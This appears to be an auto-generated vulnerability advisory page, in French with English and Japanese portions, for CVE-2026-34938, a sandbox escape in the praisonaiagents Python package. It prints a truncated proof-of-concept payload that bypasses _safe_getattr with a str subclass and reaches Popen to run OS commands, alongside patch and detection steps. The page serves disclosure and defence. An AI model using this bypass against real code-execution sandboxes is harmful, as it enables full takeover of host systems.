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CVE-2026-34938 critical CVSS 10.0

Vulnérabilité dans praisonaiagents (CVE-2026-34938)

Résumé

Vulnérabilité dans praisonaiagents (CVE-2026-34938). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via str. Atténuation : mise à jour vers 1.5.90 ou plus.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC


from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une vulnérabilité référencée CVE-2026-34938 a été découverte dans praisonaiagents.
Des attaquants peuvent cibler un point d'entrée spécifique comme str à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 10.0/10.
Action : mettez à jour praisonaiagents vers 1.5.90 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « praisonaiagents CVE-2026-34938 » sur le site de l'éditeur.

CVE-2026-34938 (praisonaiagents) — CWE-693 / CVSS v3 10.0
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : str / _safe_getattr / bot.py / autonomy_mode.py
Correctif : 1.5.90 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une vulnérabilité (CWE-693) affecte praisonaiagents. Les attaquants atteignent le code vulnérable via str sans authentification.

📍 Périmètre concerné

Consultez l'avis de l'éditeur pour les versions affectées de praisonaiagents. Surface d'attaque : str / _safe_getattr / bot.py / autonomy_mode.py.

🔥 Gravité

Gravité : Critique (CVSS 10.0/10). L'exploitation peut entraîner la prise de contrôle totale du système.

🔧 Comment corriger

Mettre à jour vers 1.5.90.

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

  1. 1
    Identify exposure identify
    grep -r 'praisonaiagents' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonaiagents を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade praisonaiagents to 1.5.90

    ステージング環境で 1.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Paquets affectés

PyPI praisonaiagents
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.90"}]}]

Références

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